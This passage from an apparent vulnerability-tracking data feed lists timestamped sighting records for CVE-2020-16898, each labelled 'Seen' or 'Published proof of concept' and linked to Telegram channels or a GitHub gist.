"https://t.me/reverseame/488"}, {"timestamp": "2026-08-04T00:00:35.067Z", "date_only": false, "value": "2026-08-04T00:00:35.067427Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/484", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "50ccb648-ee8b-4939-92ba-f609c313ecbe", "url": "https://t.me/reverseame/484"}, {"timestamp": "2026-08-04T00:00:35.114Z", "date_only": false, "value": "2026-08-04T00:00:35.114013Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/483", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "6d5c16b8-b3b3-4e33-b1db-bd5db6f97695", "url": "https://t.me/reverseame/483"}, {"timestamp": "2026-08-04T00:00:35.259Z", "date_only": false, "value": "2026-08-04T00:00:35.259660Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/488", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "33728e6b-52c5-4c4f-af31-e41a42e769ce", "url": "https://t.me/reverseame/488"}, {"timestamp": "2026-08-04T00:00:36.862Z", "date_only": false, "value": "2026-08-04T00:00:36.862917Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/reverseame/582", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "ac768def-9570-45e1-b4e8-572c0186e306", "url": "https://t.me/reverseame/582"}, {"timestamp": "2026-09-04T08:00:05.800Z", "date_only": false, "value": "2026-09-04T08:00:05.800138Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/timcore_hacking/1025", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "e8855e7f-c848-4513-a611-126d2e1a1d4b", "url": "https://t.me/timcore_hacking/1025"}, {"timestamp": "2026-09-05T18:00:06.102Z", "date_only": false, "value": "2026-09-05T18:00:06.102846Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/wtW6bpJN7eATls7OA2vLhVZp9FPDSfjpd85Ww_IzNKkpSTY", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "658ee166-ff04-4ea8-928c-b1f0bc03dd54"}, {"timestamp": "2026-09-11T15:24:27.825Z", "date_only": false, "value": "2026-09-11T15:24:27.825083Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/ryan-mclean-edf/8b6a4fff415f6fbba24d92cd6acd3482", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "36ed6a30-3021-476b-8309-e67ef3103635", "url": "https://gist.github.com/ryan-mclean-edf/8b6a4fff415f6fbba24d92cd6acd3482"}, {"timestamp": "2026-09-23T23:00:17Z", "date_only": false, "value": "2026-09-23T23:00:17.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/dMBzDHSony88KAopCFhMsXWHQ-cICWeiyHEm3JH2d8-A8Yk", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "87122bd9-9b2c-496d-b72e-bdd47358abaf"}, {"timestamp": "2026-09-23T23:00:17Z", "date_only": false, "value": "2026-09-23T23:00:17.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/dMBzDHSony88KAopCFhMsXWHQ-cICWeiyHEm3JH2d8-A8Yk", "record": "CVE-2020-16898", "field": "creation_timestamp", "uuid": "02b67df8-6ffd-4433-b9fc-e2e2be33e3b9"}]}